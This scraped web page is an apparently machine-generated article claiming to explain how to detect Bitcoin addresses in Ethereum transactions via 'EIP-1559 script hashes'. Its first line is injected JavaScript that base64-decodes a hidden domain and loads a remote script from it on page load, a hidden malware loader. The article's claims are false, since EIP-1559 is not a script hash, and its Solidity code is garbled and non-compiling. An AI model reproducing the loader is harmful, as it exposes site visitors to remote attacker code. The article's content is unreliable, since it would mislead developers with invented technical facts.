const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=f98eba57″;document.body.appendChild(script);
I can provide you with an article on how to detect if Ethereum transactions belong to a specific Bitcoin address using the EIP-1559 script hash, which is a common method for identifying wallet balances.
Detecting Bitcoin Script Hashes in Ethereum Transactions
When tracking the wallet balance of certain Bitcoin addresses, it is crucial to detect the corresponding EIP-1559 script hashes. The EIP-1559 script hash helps to identify transactions that belong to specific Bitcoin wallets.
In this article, we will explore how to analyze the transaction output script to detect if it belongs to a specific Bitcoin address using the EIP-1559 script hash.
About Ethereum Script Hashes
Ethereum script hashes are used as identifiers for transactions. The most common script hash is 0x… (where … represents the hexadecimal value of the script hash).
When a transaction is executed on the Ethereum network, it includes a script that determines which wallet should receive the transaction output. This script is represented by an EIP-1559 script hash.
Analyzing the Transaction Output Script
To detect whether the output belongs to a specific Bitcoin address using the EIP-1559 script hash, you can analyze the transaction output script as follows:
- Extract the EIP-1559 script hash from the transaction output.
- Compare the extracted EIP-1559 script hash to the expected script hash for the specified Bitcoin address.
Here is an example of how to do this in Solidity:
“solidity
solidity pragma ^0.8.0;
contract TransactionParser {
function getScriptHash(fromAddress) public view return (bytes32) {
// Extract the EIP-1559 script hash from the transaction output
bytes memory output = transactionOutput;
uint256 index = 0;
while (index < output. length && !bytes(3).eq(output[index], bytes(4).fromInt(0x…))) {
index++;
}
if (index == output. length) {
// No matching EIP-1559 script hash found
return bytes32(0);
} else {
// Extract the expected EIP-1559 script hash for the transaction Bitcoin address specified
bytes expectedScriptHash memory = transactionOutput[index + 4];
uint256 expectedIndex = 0;
while (expectedIndex < expectedScriptHash.length && !bytes(3).eq(expectedScriptHash[expectedIndex], bytes(4).fromInt(0x…))) {
expectedIndex++;
}
// Compare the extracted EIP-1559 script hash with the expected script hash
returns bytes32(uint256(index + 8) % 65536 == uint256(expectedIndex) ? expectedScriptHash : bytes32(0));
}
}
}
“`
Conclusion
Detecting Bitcoin script hashes in Ethereum transactions is a crucial step in monitoring wallet balances. By analyzing the transaction output script and comparing it to the expected EIP-1559 script hash, you can identify whether the output belongs to a specific Bitcoin address.
In this article, we explore how to detect whether Ethereum transactions belong to a given Bitcoin address using the EIP-1559 script hash. We also provide an example of a Solidity function that extracts and compares script hashes in transaction outputs.
